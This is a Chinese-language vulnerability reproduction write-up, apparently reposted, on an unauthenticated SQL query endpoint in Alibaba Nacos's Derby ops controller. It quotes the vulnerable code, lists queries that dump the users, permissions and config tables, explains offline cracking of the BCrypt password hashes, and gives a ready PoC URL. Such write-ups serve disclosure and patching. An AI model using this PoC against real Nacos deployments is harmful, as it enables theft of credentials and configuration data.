天天微动态丨【漏洞复现】Nacos存在SQL注入漏洞

来源:个人图书馆-zZ华 2023-06-01 12:05:26

简介


(相关资料图)

Nacos是阿里的开源项目,应用于微服务,微服务是将单体应用拆分成一个服务节点,nacos的主要功能是服务发现和微服务的配置集中管理。

纳科斯

一、漏洞详情

源码地址:https://github.com/alibaba/nacos

审计代码可以发现,config server中有一个接口,没有做任何的鉴权,即可执行sql语句,可以漏掉全部数据

模块中的漏洞点:nacos-config的com.alibaba.nacos.config.server.controller.ConfigOpsController中

@GetMapping(value = "/derby")public RestResult derbyOps(@RequestParam(value = "sql") String sql) { String selectSign = "select"; String limitSign = "ROWS FETCH NEXT"; String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY"; try { if (PropertyUtil.isEmbeddedStorage()) { LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource .getInstance().getDataSource(); if (StringUtils.startsWithIgnoreCase(sql, selectSign)) { if (!StringUtils.containsIgnoreCase(sql, limitSign)) { sql += limit; } JdbcTemplate template = dataSourceService.getJdbcTemplate(); List> result = template.queryForList(sql); return RestResultUtils.success(result); } return RestResultUtils.failed("Only query statements are allowed to be executed"); } return RestResultUtils.failed("The current storage mode is not Derby"); } catch (Exception e) { return RestResultUtils.failed(e.getMessage()); }}

可以看到,代码只限制了需要包含select,因此,导向可以执行任意的select查询语句

通过测试,可以用以下的语句查询到所有数据库信息

select * from usersselect * from permissionsselect * from rolesselect * from tenant_infoselect * from tenant_capacityselect * from group_capacityselect * from config_tags_relationselect * from app_configdata_relation_pubsselect * from app_configdata_relation_subsselect * from app_listselect * from config_info_aggrselect * from config_info_tagselect * from config_info_betaselect * from his_config_infoselect * from config_info

最重要的是,该接口不需要任何认证,直接就可以访问

通过读取到账号以及hash之后的密码后,因为nacos创建账号时使用的salt生成算法我们通过开启源的程序源代码已经足够分析出来

查看源码com.alibaba.nacos.console.security.nacos.NacosAuthConfig

@Overrideprotected void configure(AuthenticationManagerBuilder auth) throws Exception { auth.userDetailsService(userDetailsService).passwordEncoder(passwordEncoder());}@Overrideprotected void configure(HttpSecurity http) throws Exception { if (StringUtils.isBlank(authConfigs.getNacosAuthSystemType())) { http .csrf().disable().cors() // We don"t need CSRF for JWT based authentication .and().sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS) .and().authorizeRequests().requestMatchers(CorsUtils::isPreFlightRequest).permitAll() .antMatchers(LOGIN_ENTRY_POINT).permitAll() .and().authorizeRequests().antMatchers(TOKEN_BASED_AUTH_ENTRY_POINT).authenticated() .and().exceptionHandling().authenticationEntryPoint(new JwtAuthenticationEntryPoint()); // disable cache http.headers().cacheControl(); http.addFilterBefore(new JwtAuthenticationTokenFilter(tokenProvider), UsernamePasswordAuthenticationFilter.class); }}@Beanpublic PasswordEncoder passwordEncoder() { return new BCryptPasswordEncoder();}

可以看到,都是默认的,使用者没有办法做修改

因此,参考工具类com.alibaba.nacos.console.utils.PasswordEncoderUtil

通过这种方式,可以在本地区快速的爆破出哈希值显示的密码

package com.alibaba.nacos.console.utils;import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;/** * Password encoder tool. * * @author nacos */public class PasswordEncoderUtil {        public static void main(String[] args) {        System.out.println(new BCryptPasswordEncoder().encode("nacos"));    }        public static Boolean matches(String raw, String encoded) {        return new BCryptPasswordEncoder().matches(raw, encoded);    }        public static String encode(String raw) {        return new BCryptPasswordEncoder().encode(raw);    }}

二、漏洞复现

poc:

/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20"

nacos url后拼接即可

Copyright ©  2015-2022 欧洲纤维网版权所有  备案号:沪ICP备2022005074号-23   联系邮箱: 58 55 97 3@qq.com